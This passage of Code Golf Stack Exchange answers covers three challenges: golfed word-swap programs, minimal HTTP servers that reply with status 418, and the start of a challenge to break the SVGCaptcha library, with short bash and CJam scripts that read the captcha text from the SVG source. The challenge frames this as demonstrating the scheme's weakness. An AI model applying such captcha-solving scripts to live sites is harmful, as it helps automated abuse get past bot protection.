- strength => ord = 115 => %6 = 1 - war => ord = 119 => %6 = 5 - peace => ord = 112 => %6 = 4 ``` So we have `slavery` and `strength` both returning 1 (since they both start with the same letter), and none returning 2. Hence, we add `1` for `strength` (it's the only word that will match `/h/`), and we have each word mapped to an index from 0 to 5. [Answer] # [Perl 6](http://perl6.org/), 61 bytes With unprintable characters shown as � (because StackExchange strips them otherwise): ``` {first {s/^\w+<(\0*$//},["���ce","�������","��� ����e"X~^$_]} ``` Here's an `xxd` hex dump: ``` 00000000: 7b66 6972 7374 207b 732f 5e5c 772b 3c28 {first {s/^\w+<( 00000010: 5c30 2a24 2f2f 7d2c 5b22 0704 1363 6522 \0*$//},["...ce" 00000020: 2c22 151e 0413 011d 1422 2c22 1a13 1c0a ,".......",".... 00000030: 1c06 1a0b 6522 587e 5e24 5f5d 7d0a ....e"X~^$_]}. ``` Expanded version (unprintable characters replaced with escape sequences, and whitespace & comments added): ``` { # A Lambda. first { # Return first element which: s/ ^ \w+ <( \0* $ // # after stripping \0 has only word characters left. }, [ # The array to search: "\x[7]\x[4]\x[13]ce", # "war" xor "peace" "\x[15]\x[1e]\x[4]\x[13]\x[1]\x[1d]\x[14]", # "freedom" xor "slavery" "\x[1a]\x[13]\x[1c]\n\x[1c]\x[6]\x[1a]\x[b]e" # "ignorance" xor "strength" X~^ $_ # each xor'ed with the input. ] } ``` [Answer] # R, 86 ~~87~~ ~~92~~ Bytes Changed to an unnamed function and `gsub` to `sub` for a few bytes. The `grep` determines which of the 3 strings is used and the input is removed from that string with `sub`. ``` function(v)sub(v,'',(l=c("warpeace","freedomslavery","ignorancestrength"))[grep(v,l)]) ``` [Answer] # PHP, 70 bytes ``` <?=[ignorance,peace,slavery,strength,freedom,war][md5("^$argv[1]")%7]; ``` [Answer] # Befunge, ~~89~~ 88 bytes ``` <>_00g1v2+%7~%2~"slavery"0"war"0"freedom"0"ignorance"0"strength"0"peace" |p00:-< @>:#,_ ``` [Try it online!](http://befunge.tryitonline.net/#code=PD5fMDBnMXYyKyU3fiUyfiJzbGF2ZXJ5IjAid2FyIjAiZnJlZWRvbSIwImlnbm9yYW5jZSIwInN0cmVuZ3RoIjAicGVhY2UiCiB8cDAwOi08CkA+OiMsXw&input=d2Fy) **Explanation** [![Source code with execution paths highlighted](https://i.stack.imgur.com/iyEac.png)](https://i.stack.imgur.com/iyEac.png) ![*](https://i.stack.imgur.com/jmV4j.png) We start by pushing all the possible output strings onto the stack, null terminated. This sequence is executed right to left so the values are pushed in reverse, since that's the order the characters will be needed when they're eventually output. ![*](https://i.stack.imgur.com/z4eIY.png) We then read the first two characters from stdin, which is all we need to identify the input string. If we take the ASCII value of the first letter mod 2, plus the second letter mod 7, we get a unique number in the range 2 to 7. ``` Input ASCII %2 %7 Sum [fr]eedom 102 114 0 2 2 [pe]ace 112 101 0 3 3 [sl]avery 115 108 1 3 4 [st]rength 115 116 1 4 5 [ig]norance 105 103 1 5 6 [wa]r 119 97 1 6 7 ``` ![*](https://i.stack.imgur.com/aZli8.png) This number can then be used as a kind of index into the string list on the stack. We iteratively decrement the index (the first time by 2), and for each iteration we clear one string from the stack with the sequence `>_`. ![*](https://i.stack.imgur.com/RFUim.png) Once the index reaches zero, we're left with the correct output string at the top of the stack, so we use a simple string output sequence to write the result to stdout. [Answer] ## Pyke, 29 bytes ``` .d⻌૽ɦڷࠛ⯤dci@1.^iR@ ``` [Try it here!](http://pyke.catbus.co.uk/?code=.d%06%E2%BB%8C%E0%AB%BD%C9%A6%DA%B7%E0%A0%9B%E2%AF%A4dci%401.%5EiR%40&input=peace) ``` .d⻌૽ɦڷࠛ⯤ - "war peace freedom slavery ignorance strength" dc - ^.split(" ") i - i=^ @ - ^.find(input) 1.^ - ^ xor 1 iR@ - input[^] ``` [Answer] # C, 93 @Arnauld's answer ported to C ``` #define F(w)(char*[]){"freedom",0,"war",0,"strength",0,"slavery","peace","ignorance"}[w[1]%9] ``` [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~113~~ 108 bytes ``` f(char*s){char*t="5WAR\0+PEACE\09FREEDOM\0'SLAVERY\0;IGNORANCE\0%STRENGTH";while(strcmp(s,++t));puts(t+*--t-47);} ``` All instances of `\0` can be replaced with actual NUL bytes for scoring purposes. `t+*--t-47` is undefined behavior; this may/will not work with other compilers. [Try it online!](https://tio.run/nexus/c-gcc#@5@mkZyRWKRVrFkNpktslUzDHYMYtANcHZ1dGSzdglxdXfx9GdSDfRzDXIMiGaw93f38gxz9gJKqwSFBrn7uIR5K1uUZmTmpGsUlRcm5BRrFOtraJZqa1gWlJcUaJdpauroluibmmta1/zPzShRyEzPzNDS5qrk40zSUgFYpaVqDmWALYRyotTAu1HIYF@4EuDzMIUB@7X8A "C (gcc) – TIO Nexus") [Answer] # JavaScript (ES6), 71 ~~78~~ So much boring than Arnauld's answer, but shorter too. Now I added the encoding with `btoa`. In the encoded string there are 4 bytes that I can not post to this site, even if they are valid characters in a javascript string. So I used an hex escape in the form `\xHH`. Each one of these escapes is counted as 1 byte. The encoded string is `strength0ignorance0peace0war0slavery0freedom` ``` x=>(w=btoa`²ÚÞ\x9e\x0baÒ('¢¶§qí)y§\x1eÓ\x06«ÒÉZ½êòÑúÞyÚ&`.split(0))[w.indexOf(x)^1] ``` This one is 82 and case insensitive ``` x=>',,strength,,slavery,war,,,ignorance,peace,freedom'.split`,`[parseInt(x,36)%15] ``` *Test* ``` F= x=>(w=btoa`²ÚÞ\x9e\x0baÒ('¢¶§qí)y§\x1eÓ\x06«ÒÉZ½êòÑúÞyÚ&`.split(0))[w.indexOf(x)^1] ;['freedom','slavery','war','peace','ignorance','strength'] .forEach(w=>console.log(w + ' -> ' + F(w))) ``` [Answer] # Pari/GP , 86 Byte Pari/GP is an interactive interpreter, we do not need a "print"-cmd for output; however, the Try-It\_Online-utility needs a "print"-cmd so I separated this to the "footer". We define an "object-function" (the letter O reminds me lovely of the Orwell-function... ;-) ) : ``` x.O=s=[war,freedom,ignorance,strength,slavery,peace];for(k=1,6,if(x==s[k],i=7-k));s[i] ``` After that, call ``` print(war.O) \\ input to Pari/GP with the O-rwell-member of "war" peace \\ output by Pari/GP ``` [Try it online!](https://tio.run/nexus/pari-gp#LczBDcMgDADAdUBykfppHpFnYADEA6UmsUghslGTTk8@vQFuXM6jYjiTQBaid/sAr7VJqguBdqG69g10T1@SHxyUFopzbmIKPuEFnM2FqKFEYJwexdpZA8dxCNdu/qPzdtw "Pari/GP – TIO Nexus") (Note, that in Pari/GP the tokens given here are not strings but legal variable-names! That variables should never have any value assigned to) [Answer] # CJam, 52 (ASCII only) ``` "/.|Mv DO'y EK{ {:nBct'Pt}d4sE"144b26b'af+'j/_ra#1^= ``` [Try it online](http://cjam.aditsu.net/#code=%22%2F.%7CMv%0ADO%27y%09EK%7B%09%7B%3AnBct%27Pt%7Dd4sE%22144b26b%27af%2B%27j%2F_ra%231%5E%3D&input=war) Note: the space-looking things are tab characters (one before and one after "EK{") **Explanation:** The part up to "+" is decompressing the "slaveryjfreedomjwarjpeacejignorancejstrength" string, using base conversion: string (treated as array of character codes) → (base 144) number → (base 26) array of numbers → (adding 'a' to each number) string ``` 'j/ split around 'j' characters _ duplicate the resulting word array ra read the input and wrap in array # find the index of the input in the word array 1^ XOR with 1 = get the word at the new index ``` [Answer] # [><>](https://esolangs.org/wiki/Fish) (Fish), ~~84~~ 78 bytes ``` 0i~ia%. v'raw' >ol?!; ^'htgnerts' ^'yrevals' ^'ecnarongi' ^'ecaep' ^'modeerf' ``` [Try it online!](https://tio.run/nexus/fish#@2@QWZeZqKrHVaZelFiuzmWXn2OvaM0Vp55Rkp6XWlRSrA5kVxalliXmAJlAdmpyXmJRfl56pjqYk5haAGLk5qekphalqf//n1aUmpqSnwsA "><> – TIO Nexus") We start swimming from the upper left, heading right. First we load the stack with a 0. Then we read the first letter of input (`i`), discard it (`~`), read the second letter (`i`), and reduce its ASCII value modulo 10 (`a%`). This maps a, e, r, l, g, and t to 7, 1, 4, 8, 3, and 6, respectively—let's call this number N. `.` pops two values from the stack—N and 0—and jumps to line N, character 0. After a jump, the fish proceeds one tick before executing instructions, so it ignores the first character and swims across line N, which loads the corresponding word onto the stack. Finally we go to line 2, which outputs the whole stack and exits. * Saved six bytes by using a jump, instead of the cool code self-modification I used before. Oh well. [Answer] # JavaScript, 78 bytes ``` w=>(a="war slavery ignorance strength freedom peace".split` `)[5-a.indexOf(w)] ``` This is a kind-of port of my [Python answer](https://codegolf.stackexchange.com/a/108463/60919). We store the words in a string where each is in the opposite position to its counterpart. We find the index of the given word `w`, and get that index from the end, to return the result. Test snippet: ``` f = w=>(a="war slavery ignorance strength freedom peace".split` `)[5-a.indexOf(w)] console.log(f("peace")) console.log(f("ignorance")) console.log(f("war")) ``` [Answer] # [Python](https://docs.python.org/3/), 80 bytes Somehow outgolfed xnor! This is an unnamed lambda function, which returns the result. ``` lambda w,a="war slavery ignorance strength freedom peace".split():a[~a.index(w)] ``` [**Try it online!**](https://tio.run/nexus/python3#DcxBCoMwEAXQqwyuEigeoOBJtItfM7EDcQyTtLGbXj11/eBFmmjpCfszgNoN09BgVBI@bF@STQ@DrkylGutWXxSNORw7ZcbKw1hykur8HfMPo2jg0zX/6NlEq4tONL8v9r5f7R8) The list of words is arranged such that it each is in the opposite position to its counterpart. Given the word `w`, we find its index in the word list, and then bitwise NOT (`~`) it. This flips all the bits, which is computes `n => -n-1`. Due to Python's negative indexing, gets the opposite index in the list. As a kind of unintentional bonus, you can pass any word list of opposites to this function as the second argument. [Answer] # Stacked, 70 bytes ``` @x'war strength freedom slavery ignorance peace'LF split:x index\rev\# ``` [Try it here!](https://conorobrien-foxx.github.io/stacked/stacked.html) Takes input on stack and leaves output on stack. For example: ``` 'war' @x'war strength freedom slavery ignorance peace'LF split:x index\rev\# out ``` This code is fairly self-explanatory. Slightly modified to run all test cases: ``` ('war' 'slavery' 'ignorance') {x:'war strength freedom slavery ignorance peace'LF split:x index\rev\#x\,}"! disp ``` [Answer] # Jolf, 35 bytes ``` .γG"ΞΠΞ¦ΞpΞsΞΈΞ3I"-5 iγ ``` There are many unprintables. Here's a hexdump, though it won't do much good: ``` 00000000: 2ece b347 22ce 9e07 cea0 c28e ce9e 07c2 ...G"........... 00000010: 8ac2 a6ce 9e06 c28e 70ce 9e07 73c2 8fce ........p...s... 00000020: 9e06 ce88 c280 ce9e 0133 4922 052d 3520 .........3I".-5 00000030: 69ce b3 i.. ``` [Here's an online link.](http://conorobrien-foxx.github.io/Jolf/#code=Ls6zRyLOngfOoMKOzp4HworCps6eBsKOcM6eB3PCj86eBs6IwoDOngEzSSIFLTUgac6z) Basically, the code looks like: ``` .γG"..."♣-5 iγ G"..."♣ split uncompressed string on spaces γ set gamma to this iγ index of the input in gamma .γ -5 and get 5 - this from gamma ``` [Answer] # [Actually](https://github.com/Mego/Seriously), 56 bytes ``` ' "war peace freedom slavery ignorance strength"s;)í1^@E ``` [Try it online!](https://tio.run/nexus/actually#@6@uoFSeWKRQkJqYnKqQVpSampKfq1Cck1iWWlSpkJmel1@UmAeUKS4pSs1LL8lQKrbWPLzWMM7B9f9/kEYlAA "Actually – TIO Nexus") Unfortunately, without any compression builtins, it's shorter to not compress the string and manually decompress it. Explanation: ``` ' "war peace freedom slavery ignorance strength"s;)í1^@E ' "war peace freedom slavery ignorance strength"s split the string on spaces ;) make a copy, push it to the bottom of the stack í index of input in list 1^ XOR with 1 @E that element in the list ``` [Answer] # Haskell, 104 ~~111~~ bytes ``` data O=WAR|FREEDOM|IGNORANCE|PEACE|SLAVERY|STRENGTH deriving(Show,Enum) f s=toEnum$mod(3+fromEnum s)6::O ``` Idea: * Enumerate the keywords such that their counterpart is 3 positions away * Take the keyword, get its position by `fromEnum`, move 3 steps to right (modulus 6) and convert back to the keyword * The `::O` is needed because type inference has some problems. Giving `f` a signature `f :: O -> O` would have the same effect but is not that short. Edit: Replaced ``` f s=toEnum$mod(3+fromEnum s)6 ``` by ``` f=toEnum.(`mod`6).(+3).fromEnum ``` thanks to @Laikoni. [Answer] # [Dyalog APL](http://dyalog.com/download-zone.htm), 66 [bytes](http://meta.codegolf.stackexchange.com/a/9429/43319) Either one of these: `'slavery' 'freedom' 'ignorance' 'strength' 'war' 'peace'⊃⍨6|⎕UCS⊃⍞` uses [this method](https://codegolf.stackexchange.com/a/107963/43319) (requires `⎕IO←0` which is default on many systems). `'strength' 'freedom' 'war' 'peace' 'slavery' 'ignorance'(⍳⊃(⌽⊣))⊂⍞` does a lookup, then picks the corresponding element from the reversed list. [Answer] # Qbasic, ~~138~~ 99 bytes ``` D$="ignorancefreedom peace strength slavery war ":INPUT A$:?MID$(D$+D$,INSTR(D$,A$)+27,9) ``` `D$` stores all the words from the left side of the mantra, then all those of the right side. Each word is padded with spaces to exactly 9 letters per word. `D$` then gets appended to itself. Then `instr` is used to find the index of the word entered by the user. The other part of the mantra is always stored exactly 9\*3 positions further in the string, so we print a substring starting at that position, taking 9 characters. [Answer] # SmileBASIC, 92 bytes ``` A$="PEACE E$="WAR R$="SLAVERY L$="FREEDOM G$="STRENGTH T$="IGNORANCE INPUT I$?VAR(I$[1]+"$") ``` ]
[Question] [ As we all should know, [there's a HTTP status code **418: I'm a teapot**](http://en.wikipedia.org/wiki/List_of_HTTP_status_codes#418). Your mission, should you choose to accept it, is to use your creativitea and write the smallest possible server that responds with the above status code to any and every HTTP request made to it. [Standard loopholes](http://meta.codegolf.stackexchange.com/questions/1061/standard-loopholes-which-are-no-longer-funny) apply, including > > ### Fetching the desired output from an external source > > > This includes doing an HTTP request to fetch the page with the > question and extracting a solution from that page. This was mildly > amusing back in 2011, but now is derivative and uninteresting. > > > Meaning you cannot simply redirect the request to another server to have it return the response. Your server can do anything (or nothing) while no HTTP request is made to it as long as it replies with the correct response once a HTTP request is made. [Answer] # GNU Awk: 69 characters A server itself (endlessly serves one request at a time), no library used. Send 418 to everybody who connects (~~82~~ 69 characters): ``` BEGIN{while(s="/inet/tcp/80/0/0"){print"HTTP/1.1 418\n"|&s close(s)}} ``` Send 418 to everybody who sends something (~~93~~ 80 characters): ``` BEGIN{while(s="/inet/tcp/80/0/0"){s|&getline print"HTTP/1.1 418\n"|&s close(s)}} ``` Send 418 to everybody who sends a valid HTTP GET request (~~122~~ 109 characters): ``` BEGIN{while(s="/inet/tcp/80/0/0"){s|&getline if(/^GET \S+ HTTP\/1\.[01]$/)print"HTTP/1.1 418\n"|&s close(s)}} ``` [Answer] ## Bash (33) ``` nc -lp80 -q1<<<"HTTP/1.1 418 ";$0 ``` [Answer] ## PHP - 85 bytes ``` <?for($s=socket_create_listen(80);socket_write(socket_accept($s),"HTTP/1.1 418 ");); ``` Saved with Windows-Style (CR-LF) line endings, requires `php_sockets` enabled. I actually used this as my error code for the [Hard Code Golf: Create a Chatroom](https://codegolf.stackexchange.com/q/12221/) challenge, but no one noticed. --- **Browser-Friendly version** ``` <?for(socket_getsockname($s=socket_create_listen(80),$n);$t="I'm a teapot";socket_write($c=socket_accept($s),"HTTP/1.0 418 $t Content-Length: $l <title>418 $t</title><h1>$t</h1>The requested resource is not suitable for brewing coffee.<hr><i>$n:80</i>"))$l=124+strlen($n); ``` Start the script in the CLI, and point your browser at `http://localhost`. [Answer] # Node.js (LiveScript) ## `http` module - 66 ``` require(\http)createServer (->&1.writeHead 418;&1.end!) .listen 80 ``` Inspired by [Qwertiy's answer](https://codegolf.stackexchange.com/a/41663/344). ## `net` module - 76 ``` require(\net)createServer (->it.write 'HTTP/1.1 418\r\n';it.end!) .listen 80 ``` [Answer] # Ruby + Rack, 19 bytes ``` run->e{[418,{},[]]} ``` Must be saved as `config.ru`, and run with the `rackup` command. Or if you prefer "pure" Ruby: ``` Rack::Handler::WEBrick.run->e{[418,{},[]]} ``` 42 bytes + `-rrack` flag = **48 bytes** [Answer] # Bash+BSD general commands, 29 Borrowing back a little bit from other answers: ``` nc -lp80<<<"HTTP/1.1 418 ";$0 ``` Works for me with `wget`. ### First answer to use `nc`, 38 ``` for((;;)){ nc -l 80 <<<HTTP/1.1\ 418 } ``` I'm assuming root privileges - run as follows: ``` sudo bash ./418.sh ``` [Answer] # Ruby (nc system command) - 35 ``` loop{`nc -l 80 <<<"HTTP/1.1 418"`} ``` DigitalTrauma should get the credit for the idea of using `nc`, however Ruby can make an infinite loop with fewer characters than Bash :) # Ruby (TCPServer) - 75 ``` require'socket' s=TCPServer.new 80 loop{(s.accept<<'HTTP/1.1 418 ').close} ``` That newline is intentional -- the actual newline character is one character shorter than "\n". # Ruby (WEBrick HTTPServer) - 87 ``` require'webrick' (s=WEBrick::HTTPServer.new).mount_proc(?/){|_,r|r.status=418} s.start ``` [Answer] ## Node.js, 72 ``` require('http').createServer((q,s)=>s.writeHead(418)+s.end()).listen(80) ``` Response: ``` HTTP/1.1 418 I'm a Teapot Date: Thu, 01 Apr 2021 16:12:59 GMT Connection: keep-alive Transfer-Encoding: chunked 0 ``` --- ## Node.js, 80 with ES5 syntax only ``` require('http').createServer(function(q,s){s.writeHead(418);s.end()}).listen(80) ``` The response is ``` HTTP/1.1 418 I'm a teapot Date: Wed, 19 Nov 2014 21:08:27 GMT Connection: keep-alive Transfer-Encoding: chunked 0 ``` [Answer] # Python 3 106 ``` s=__import__('socket').socket(2,1) s.bind(('',80)) s.listen(9) while 1:s.accept()[0].send('HTTP/1.1 418\n') ``` [Answer] # Haskell - 142 bytes ``` import Network import System.IO main=listenOn(PortNumber 8888)>>=f f s=do{(h,_,_)<-accept s;hPutStr h"HTTP/1.1 418\r\n";hFlush h;hClose h;f s} ``` [Answer] # R, 80 characters Never did socket programming with R before, but I'll give it a try: ``` repeat{s=socketConnection(,80,T,open="r+");cat("HTTP/1.1 418\n",file=s);close(s)} ``` Here `socketConnection` opens a socket: first argument should be the host, the default being `localhost` we can skip it here; the second argument is the port which has no default, then argument `server` when specified `TRUE` creates the socket, if `FALSE` it just connects to an existing one. `T` is, by default, equals to `TRUE`, in R. **Edit:** As suggested in a suggested edit by @AlexBrown, this could be shorten into **69 characters**: ``` repeat cat("HTTP/1.1 418\n",file=s<-socketConnection(,80,T))+close(s) ``` [Answer] ## Shell + socat, 60 ``` socat tcp-l:80,fork exec:'printf HTTP/1.1\\ 418\\ T\r\n\r\n' ``` [Answer] # Tcl (>= 8.5), 78 bytes Edit - added in an extra newline (total of 2 newlines) for the sake of compliance. ``` socket -server {apply {{c - -} {puts $c "HTTP/1.1 418 ";close $c}}} 80 vwait f ``` [Answer] # Powershell, 398 ``` $Listener = New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse("10.10.10.10"), 80) $Listener.Start() while($true) { $RemoteClient = $Listener.AcceptTcpClient() $Stream = $RemoteClient.GetStream() $Writer = New-Object System.IO.StreamWriter $Stream $Writer.Write("HTTP/1.1 418 I'm a Teapot`nConnection: Close`n`n") $Writer.Flush() $RemoteClient.Close() } ``` # 258 ``` $l=New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse("10.10.10.10"),80);$l.Start();while($true){$r = $l.AcceptTcpClient();$s = $r.GetStream();$w = New-Object System.IO.StreamWriter $s;$w.Write("HTTP/1.1 418`n`n");$w.Flush();$r.Close()} ``` [Answer] # [Julia 0.6](http://julialang.org/), ~~86~~ 73 bytes ``` s=listen(80) while 1<2 c=accept(s) write(c,"HTTP/1.1 418 ") close(c) end ``` [Answer] # Node.js [**koa**](https://github.com/koajs/koa), 61 Bytes ``` require('koa')().use(function*(){this.status=418}).listen(80) ``` Response: ``` HTTP/1.1 418 I'm a teapot X-Powered-By: koa Content-Type: text/plain; charset=utf-8 Content-Length: 12 Date: Thu, 20 Nov 2014 07:20:36 GMT Connection: close I'm a teapot ``` Requires node v0.11.12 + Run as: ``` node --harmony app.js ``` [Answer] # MATLAB, ~~97~~ 86 bytes Not really a serious contender in terms of absolute byte-count, but I'd like to post it because I didn't think it would be possible to write a fully functional webserver using a mathematical tool. Note the use of [property shortening](https://codegolf.stackexchange.com/a/48268/32352): `'Ne','s'` internally expands to `'NetworkRole', 'server'`. ``` t=tcpip('0.0.0.0','Ne','s');while 1 fopen(t) fprintf(t,'HTTP/1.1 418\n') fclose(t) end ``` [Answer] ## Perl, 78 ``` use Web::Simple;sub dispatch_request{sub{[418,[],[]]}}__PACKAGE__->to_psgi_app ``` run as `plackup whatever.pl`. [Answer] # Go, 162 bytes ``` package main import "net/http" func main(){http.HandleFunc("/",func(w http.ResponseWriter,r *http.Request){w.WriteHeader(418)}) http.ListenAndServe(":80", nil) } ``` [Answer] # Python 2.7/Django, 94 bytes (added from default boilerplate from `django-admin.py startproject`) In urls.py: ``` import django.http.HttpResponse as r;urlpatterns=patterns(url(r'^*$',lambda q:r(status=418))) ``` [Answer] ## node.js with CoffeeScript (76) ``` require("connect")().use((q,s,n)->s.writeHead 418;s.end();return;).listen 80 ``` Just compile it to JavaScript, then you need to run `npm install connect`. After that start it with `node server.js` [Answer] # Factor, ~~101~~ 141 bytes ``` [ utf8 <threaded-server> readln 10 base> >>insecure [ "HTTP/1.1 418\r" print flush ] >>handler [ start-server ] in-thread start-server drop ] ``` Return 418 to everyone who connects. [Answer] # C# + OWIN ~~251~~ 240 I was really hoping it'd be shorter, but the long namespaces ruined that plan. Requires the `Microsoft.Owin.SelfHost` package available on NuGet. ``` using Owin;class P{static void Main(){Microsoft.Owin.Hosting.WebApp.Start<P>("http://localhost");while(0<1);}public void Configuration(IAppBuilder a){a.Run(c=>{c.Response.StatusCode=418;return System.Threading.Tasks.Task.FromResult(0);});}} ``` [Answer] ## node.js with connect (78) ``` require('connect')().use(function(q,s,n){s.writeHead(418);s.end()}).listen(80) ``` You need to run `npm install connect` first. Then start it with `node server.js` [Answer] You can do this with minimal effort using a `.htaccess` file and php. All the accesses to your server will return the status 418. Below is the code: # .htaccess (28 bytes) ``` RewriteRule .* index.php [L] ``` # PHP (~~38~~ 19 bytes) ``` <<?header(TE,1,418); ``` --- Thanks to [@primo](https://codegolf.stackexchange.com/users/4098/primo) for saving me a bunch of bytes! --- I have tested this and confirm it returns the desired result! ![https://i.stack.imgur.com/wLb9p.png](https://i.stack.imgur.com/wLb9p.png) By the way, "Pedido" means "Request" and "Resposta" means "Answer". [Answer] # Java 7, 208 bytes ``` import java.net.*;class R{public static void main(String[]a)throws Exception{for(ServerSocket s=new ServerSocket(80);;){Socket p=s.accept();p.getOutputStream().write("HTTP/1.0 418\n".getBytes());p.close();}}} ``` This question needed a java answer. ``` poke@server ~ $ curl -i localhost:80 HTTP/1.0 418 ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E) + [`ncat`](https://nmap.org/ncat), ~~75~~ ~~74~~ ~~69~~ ~~62~~ ~~44~~ 42 bytes *-12 thanks to [ovs](https://codegolf.stackexchange.com/users/64121/ovs)*. ``` '‚«™’ÿ.¬•"n—Ä -k¯à80<<<'HTTP/1.1 418 '"’.E ``` Your ISP must be AT&T for this to work, as it abuses AT&T's automatic conversion of `\n` to `\r\n` in HTTP requests. ``` '‚«™’...’.E # trimmed program .E # evaluate... ’...’ # "ÿ.shell\"ncat -klp80<<<'HTTP/1.1 418\n'\""... # (implicit) with ÿ replaced by... '‚« # "system"... ™ # in title case... .E # as Elixir code ==================== System.shell"..." # trimmed program System.shell # execute shell command... "..." # literal ==================== ncat -klp80<<<'...' # trimmed program ncat # host web server... - l # that listens to requests... -k # forever... - p # on port... 80 # literal... ncat # that returns response input... <<< # with... '...' # literal... <<< # as input ``` Side note: I do not know Elixir at all so if there are ways to improve the Elixir code please let me know. # [05AB1E (legacy)](https://github.com/Adriandmen/05AB1E/tree/fb4a2ce2bce6660e1a680a74dd61b72c945e6c3b) + [`ncat`](https://nmap.org/ncat), ~~64~~ ~~54~~ 52 bytes ``` ’__£Ø__('ï´').‚«("n—Ä -k¯à80<<<'HTTP/1.1 418\n'")’.E ``` --- ``` ’...’.E # trimmed program .E # evaluate... ’...’ # "__import__('os').system(\"ncat -klp80<<<'HTTP/1.1 418\n'\")"... .E # as Python code ==================== __import__('os').system("...") # trimmed program __import__('os').system( ) # execute shell command... "..." # literal ==================== ncat -klp80<<<'...' # trimmed program ncat # host web server... - l # that listens to requests... -k # forever... - p # on port... 80 # literal... ncat # that returns response input... <<< # with... '...' # literal... <<< # as input ``` [Answer] # nginx - 35 ``` events{}http{server{return 418;}} ``` Throw that in nginx.conf, start nginx. *Not sure if this uses standard loopholes "Using built-in functions to do the work" or "Interpreting the challenge too literally." [Oops, looks like OP won't like this answer.](https://codegolf.stackexchange.com/questions/41638/418-im-a-teapot#comment97015_41638)* [Answer] # [Python 3](https://docs.python.org/3/) + Flask, 64 80 76 75 bytes ``` from flask import* a=Flask("");a.route("/")(lambda:abort(418));a.run("",80) ``` I don't know much Flask, so I'm not entirely sure if this works. Please let me know in the comments if there's some problem with this. Ungolfed version: ``` from flask import Flask, abort app = Flask(__name__) @app.route("/") def index(): abort(418) app.run("127.0.0.1", 80) ``` Simply binds the path "/" to a function that aborts with error code 418. *Thanks to [Makonede](https://codegolf.stackexchange.com/users/94066/makonede) for pointing out that I didn't start the server and giving a modification to make the solution 80 76 75 bytes. The 80 was from using `app` instead of `a`. Oops! The 76 was from `(a:=Flask(""))` instead of `a=Flask("");a`.* [Answer] # [Python 3](https://docs.python.org) + [`ncat`](https://nmap.org/ncat), ~~55~~ 53 bytes ``` import os;os.system("ncat -klp80<<<'HTTP/1.1 418\n'") ``` Your ISP must be AT&T for this to work. ``` import os;os.system("...") # trimmed program import # import module named... os # variable os.system( ) # run shell command... "..." # literal ==================== ncat -klp80<<<'...' # trimmed program ncat # host web server... - l # that listens to requests... -k # forever... - p # on port... 80 # literal... ncat # that returns response input... <<< # with... '...' # literal... <<< # as input ``` ]
[Question] [ I came across [SVGCaptcha](http://svgcaptcha.com/ "SVGCaptcha - generate captcha in svg"), and immediately knew it was a bad idea. I would like you to show just how bad an idea this is by extracting the validation code from the SVG images that code produces. --- An example image looks like this: [![8u4x8lf](https://i.stack.imgur.com/rmOVq.png)](https://i.stack.imgur.com/rmOVq.png) Here is the source of the example image: ``` <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" width="200" height="40" > <rect x="0" y="0" width="200" height="40" style="stroke: none; fill: none;" > </rect> <text style="fill: #4d9363;" x="5" y="34" font-size="20" transform="translate(5, 34) rotate(-17) translate(-5, -34)">8</text> <text style="fill: #be8b33;" x="125" y="29" font-size="21" transform="translate(125, 29) rotate(17) translate(-125, -29)">f</text> <text style="fill: #d561ff;" x="45" y="35" font-size="20" transform="translate(45, 35) rotate(-2) translate(-45, -35)">4</text> <text style="fill: #3de754;" x="85" y="31" font-size="21" transform="translate(85, 31) rotate(-9) translate(-85, -31)">8</text> <text style="fill: #5ed4bf;" x="25" y="33" font-size="22" transform="translate(25, 33) rotate(16) translate(-25, -33)">u</text> <text style="fill: #894aee;" x="105" y="28" font-size="25" transform="translate(105, 28) rotate(9) translate(-105, -28)">1</text> <text style="fill: #e4c437;" x="65" y="32" font-size="20" transform="translate(65, 32) rotate(17) translate(-65, -32)">x</text> </svg> ``` --- The input is the SVG image, which is a textual format. The only real restriction is that your code must produce the values in **the correct order**. The input `<text>` elements are in random order so you have to pay attention to the `x` attribute in the `<text>` tag --- Score is the number of bytes in the code --- Since the code currently does two transforms that cancel each-other out you can ignore them, but if you do take them in consideration, go ahead and take a 30% reduction from your score. [Answer] # [Bash](https://en.wikipedia.org/wiki/Bash_(Unix_shell)), 63 56 39 bytes ``` cat<<_|grep -o 'x=.*>'|cut -c4-|sort -n|grep -o '>.</t'|cut -c2 ``` ``` grep -o 'x=.*>'|cut -c4-|sort -n|grep -o '>.</t'|cut -c2 ``` ``` grep -o 'x=.*<'|sort -k1.4n|rev|cut -c2 ``` Note: requires [`cat`](http://porkmail.org/era/unix/award.html#cat), `grep`, `sort`, `rev`, and `cut`. Takes input from stdin. The output is separated by line breaks on stdout. Make sure to press CTRL+D (not COMMAND+D on Mac) when finished entering the CAPTCHA. Input must be followed by a newline and then '\_'. **EDIT**: Saved 13 bytes. **EDIT 2**: Saved 20 bytes thanks to [@manatwork](https://codegolf.stackexchange.com/users/4198/manatwork)! [Answer] # CJam, 26 bytes ``` q"x="/2>{'"/1=i}${'>/1=c}/ ``` Try it online in the [CJam 